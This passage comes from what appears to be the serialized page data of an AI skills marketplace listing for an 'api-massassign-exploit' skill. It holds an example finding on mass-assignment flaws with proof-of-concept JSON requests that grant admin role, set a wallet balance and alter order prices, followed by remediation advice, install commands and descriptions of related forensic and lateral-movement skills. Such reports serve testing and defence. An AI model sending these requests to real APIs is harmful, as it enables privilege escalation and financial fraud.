(CVSS 9.8)\n**OWASP API**: API3:2023 - Broken Object Property Level Authorization\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fregister\n  - PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n  - POST \u002Fapi\u002Fv1\u002Forders\n\n**Description**:\nThe API binds all client-supplied JSON fields directly to the database model\nwithout filtering. An attacker can include undocumented fields in registration\nand update requests to elevate their role to admin, bypass email verification,\nmodify wallet balances, and manipulate order pricing.\n\n**Proof of Concept**:\n1. Register with injected role:\n   POST \u002Fapi\u002Fv1\u002Fregister\n   {\"name\":\"Attacker\",\"email\":\"attacker@evil.com\",\"password\":\"P@ss123!\",\"role\":\"admin\"}\n   Response: {\"id\":5001,\"name\":\"Attacker\",\"role\":\"admin\",\"is_verified\":false}\n\n2. Update profile with injected balance:\n   PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n   {\"name\":\"Attacker\",\"balance\":99999.99}\n   Response: {\"id\":5001,\"balance\":99999.99}\n\n3. Create order with manipulated price:\n   POST \u002Fapi\u002Fv1\u002Forders\n   {\"items\":[{\"product_id\":42,\"qty\":1}],\"total\":0.01}\n   Response: {\"order_id\":8001,\"total\":0.01}\n\n**Impact**:\nAny user can gain administrative access, manipulate financial data,\nbypass security controls, and purchase products at arbitrary prices.\n\n**Remediation**:\n1. Implement DTOs\u002Finput schemas that explicitly define allowed fields per endpoint per role\n2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)\n3. Never bind request parameters directly to the data model\n4. Add integration tests that verify undocumented fields are rejected\n5. Use an allowlist approach rather than blocklist for writable fields\n```\n",{"cwe":57,"name":5,"tags":59,"capec":63,"model":64,"tools":65,"domain":45,"maxTurns":69,"nist_csf":70,"subdomain":47,"description":7},[58],"CWE-915",[47,36,60,61,62],"mass-assignment","auto-binding","parameter-tampering",[],"sonnet",[66,43,67,68],"Read","Glob","Grep",20,[71,72,73,74],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Fapi\u002Fmassassign\u002Fexploit","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":83,"prompt":93,"zipAvailable":94},[84,87,90],{"tool":85,"command":86},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill api-massassign-exploit",{"tool":88,"command":89},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill api-massassign-exploit",{"tool":91,"command":92},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill api-massassign-exploit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fapi\u002Fmassassign\u002Fexploit\u002FSKILL.md",true,[96],{"path":97,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":100,"sourceHtmlUrl":101},"index.json","REFERENCE","参考文档",697,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fapi\u002Fmassassign\u002Fexploit\u002Findex.json",[103,126,146,167,189,204],{"skillNo":104,"name":105,"nameZh":6,"description":106,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":52},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[110,111,112,113,114,40,49,115,116,117,118,119,120,121,122,123,124,45,125],"services","detect","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":132,"publishedAt":52},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[33,110,133,113,134,135,136,45,43,137,138,139,140,141,40,142,143,38,144,145],"services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":147,"name":148,"nameZh":6,"description":149,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":150,"categories":151,"keywords":152,"publishedAt":52},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[153,154,155,156,157,158,45,43,159,137,160,161,40,38,162,163,164,165,166,64],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":168,"name":169,"nameZh":6,"description":170,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":171,"categories":172,"keywords":173,"publishedAt":52},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[111,174,175,176,177,178,179,49,180,45,125,181,182,183,184,185,186,187,188,40],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":190,"name":191,"nameZh":6,"description":192,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":193,"categories":194,"keywords":195,"publishedAt":52},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[196,197,111,198,176,178,199,49,200,180,45,125,137,32,201,202,203,188,40,115],"thread","processes thread injection detect","injection","memory","process-injection","apc-injection","thread-injection","nt-api",{"skillNo":205,"name":206,"nameZh":6,"description":207,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":208,"categories":209,"keywords":210,"publishedAt":52},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[211,111,176,212,199,49,213,214,45,125,215,216,217,218,219,220,40,115,221,222],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]